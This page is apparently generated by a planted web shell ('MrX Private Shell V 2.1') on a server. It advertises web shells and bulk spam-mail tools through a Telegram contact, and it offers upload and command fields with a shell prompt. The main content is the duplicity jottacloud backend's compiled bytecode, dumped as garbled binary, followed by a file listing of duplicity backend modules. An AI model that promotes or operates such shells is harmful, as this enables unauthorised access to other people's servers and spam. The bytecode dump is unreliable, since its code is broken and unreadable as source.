__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��gy����SSKrSSKrSSKrSSKJr SSKJr SrSrSr	Sr
Sr"S	S
\RR5r\RRS\5 g)�N)�log)�BackendExceptionc�X�SnURHnURS:XdMUnM U$)N�Jotta)�devices�name)�jfs�jottadev�js   �F/usr/lib/python3/dist-packages/duplicity/backends/jottacloudbackend.py�get_jotta_devicer
#s-���H�
�[�[���6�6�W���H���O�c�:�[U5nURSnU$)N�Archive)r
�mountPoints)r	r
�root_dirs   r�get_root_dirr+s!����$�H��#�#�I�.�H��Orc�n�[R"S5nUR[[U55 g�N�jottalib)�logging�	getLogger�setLevel�getattr)�	log_level�loggers  r�set_jottalib_logging_levelr1s%��
�
�
�z�
*�F�
�O�O�G�G�Y�/�0rc�d�[R"S5nUHnURU5 M gr)rr�
addHandler)�handlersr�handlers   r�set_jottalib_log_handlersr"6s*��
�
�
�z�
*�F������'�"�rc�h�[R"[R"55nUS:XaSnU$)zHGet the current duplicity log level as a stdlib-compatible logging level�NOTICE�INFO)r�	LevelName�getverbosity)�duplicity_log_levels r�get_duplicity_log_levelr)<s0���-�-��(8�(8�(:�;���h�&�$���rc�H�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
g)
�JottaCloudBackend�Gz,Connect to remote store using JottaCloud APIc��[RRRX5 SSKJn SSKJnJn [5n[U5 [[RR 5 UR5UlUR%UR&R)S55Ul[R,"SUR*R&<35 g![a [S5ef=f)Nr)�JFS)�JFSNotFoundError�JFSIncompleteFilezQJottaCloud backend requires jottalib (see https://pypi.python.org/pypi/jottalib).�/z!Jottacloud folder for duplicity: )�	duplicity�backend�Backend�__init__rr.�jottalib.JFSr/r0�ImportErrorrr)rr"r�_loggerr �client�get_or_create_directory�path�lstrip�folder�Debug)�self�
parsed_urlr.r/r0r(s      rr5�JottaCloudBackend.__init__Js������!�!�*�*�4�<�		�$�
�6�7��"�#6�7�	"�#�+�+�"6�"6�7��g�g�i����2�2�:�?�?�3I�3I�#�3N�O����	�	�5�d�k�k�6F�6F�5I�J�K��!�	�"�f��
�	�s�C$�$C:c���[UR5n[R"URU5nURRU5$![a URU5s$f=f�N)rr9�	posixpath�joinr;�	getObjectr/�mkdir)r?�directory_name�root_directory�	full_paths    rr:�)JottaCloudBackend.get_or_create_directoryfs`��%�d�k�k�2���N�N�>�#6�#6��G�	�	8��;�;�(�(��3�3���	8�!�'�'��7�7�	8�s�A�A1�0A1c��URRUR5U5n[R"SUR
SUSU35 g)Nzjottacloud.put(�,�): )r=�up�openrr>r)r?�source_path�remote_filename�resps    r�_put�JottaCloudBackend._putnsH���{�{�~�~�k�.�.�0�/�B���	�	�O�K�$4�$4�#5�Q��6G�s�4�&�Q�Rrc��URR[R"URR
U55n[R"SUSURSU35 [URS5nUR5HnURU5 M SSS5 g!,(df   g=f)Nzjottacloud.get(rMrN�wb)r9rFrDrEr=r;rr>rrP�stream�write)r?rR�
local_path�remote_file�to_file�chunks      r�_get�JottaCloudBackend._getts����k�k�+�+�I�N�N�4�;�;�;K�;K�_�,]�^���	�	�O�O�#4�A�j�o�o�5F�c�+��W�X�
�*�/�/�4�
(�G�$�+�+�-���
�
�e�$�.�)�
(�
(�s�)B6�6
Cc���[URR5Vs/sH8nUR5(aMURS:wdM,UR
PM: sn5$s snf)N�
INCOMPLETE)�listr=�files�
is_deleted�stater)r?�fs  r�_list�JottaCloudBackend._list}s`������*�*�,�
�,�A��|�|�~��*+�'�'�\�*A�����,�
�
�	
��
s�A(�A(�A(c��[R"URRU5nURRU5n[R"SUS[U5S35 UR5 g)Nzjottacloud.delete deleting: z (�))
rDrEr=r;r9rFrr>�type�delete�r?�filename�remote_pathr[s    r�_delete�JottaCloudBackend._delete�sa�� �n�n�T�[�[�%5�%5�x�@���k�k�+�+�K�8���	�	�0��
�R��[�@Q�?R�RS�T�U����rc��[R"SU35 [R"URR
U5nURRU5nSUR0$![a SS0s$f=f)zGet size of filenamezQuerying size of �size���)
r�InforDrEr=r;r9rFr/rsrms    r�_query�JottaCloudBackend._query�s}��
	���$�X�J�/�0��n�n�T�[�[�%5�%5�x�@��	 ��+�+�/�/��<�K�
�K�$�$�
�	
�� �	 ��B�<��	 �s�A/�/B�?Bc��grC�)r?s r�_close�JottaCloudBackend._close�s��r)r9r=N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r5r:rTr^rgrprvrz�__static_attributes__ryrrr+r+Gs/��6�L�88�S�%�

��

�
rr+�
jottacloud)rrD�duplicity.backendr2r�duplicity.errorsrr
rrr"r)r3r4r+�register_backendryrr�<module>r�sh��2����-���1�
#��[
�	�)�)�1�1�[
�|
���"�"�<�1B�C�0r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 379 B 0644
_cf_cloudfiles.cpython-313.pyc File 5.1 KB 0644
_cf_pyrax.cpython-313.pyc File 6.79 KB 0644
_testbackend.cpython-313.pyc File 16.5 KB 0644
adbackend.cpython-313.pyc File 18.76 KB 0644
azurebackend.cpython-313.pyc File 6.79 KB 0644
b2backend.cpython-313.pyc File 11.74 KB 0644
boxbackend.cpython-313.pyc File 9.21 KB 0644
cfbackend.cpython-313.pyc File 665 B 0644
dpbxbackend.cpython-313.pyc File 24.58 KB 0644
gdocsbackend.cpython-313.pyc File 10.15 KB 0644
gdrivebackend.cpython-313.pyc File 15.64 KB 0644
giobackend.cpython-313.pyc File 9.93 KB 0644
hsibackend.cpython-313.pyc File 3.42 KB 0644
hubicbackend.cpython-313.pyc File 2.76 KB 0644
idrivedbackend.cpython-313.pyc File 23.25 KB 0644
imapbackend.cpython-313.pyc File 12.94 KB 0644
jottacloudbackend.cpython-313.pyc File 7.04 KB 0644
lftpbackend.cpython-313.pyc File 12.44 KB 0644
localbackend.cpython-313.pyc File 4.08 KB 0644
mediafirebackend.cpython-313.pyc File 6.07 KB 0644
megabackend.cpython-313.pyc File 8.47 KB 0644
megav2backend.cpython-313.pyc File 10.2 KB 0644
megav3backend.cpython-313.pyc File 11.81 KB 0644
multibackend.cpython-313.pyc File 14.88 KB 0644
ncftpbackend.cpython-313.pyc File 7.3 KB 0644
onedrivebackend.cpython-313.pyc File 17.76 KB 0644
par2backend.cpython-313.pyc File 11.9 KB 0644
pcabackend.cpython-313.pyc File 15.11 KB 0644
pydrivebackend.cpython-313.pyc File 14.04 KB 0644
rclonebackend.cpython-313.pyc File 6.53 KB 0644
rsyncbackend.cpython-313.pyc File 7.66 KB 0644
s3_boto3_backend.cpython-313.pyc File 11.21 KB 0644
slatebackend.cpython-313.pyc File 7.49 KB 0644
ssh_paramiko_backend.cpython-313.pyc File 23.04 KB 0644
ssh_pexpect_backend.cpython-313.pyc File 14.37 KB 0644
swiftbackend.cpython-313.pyc File 12.88 KB 0644
sxbackend.cpython-313.pyc File 2.87 KB 0644
tahoebackend.cpython-313.pyc File 3.64 KB 0644
webdavbackend.cpython-313.pyc File 25.74 KB 0644
xorrisobackend.cpython-313.pyc File 16.46 KB 0644
Filemanager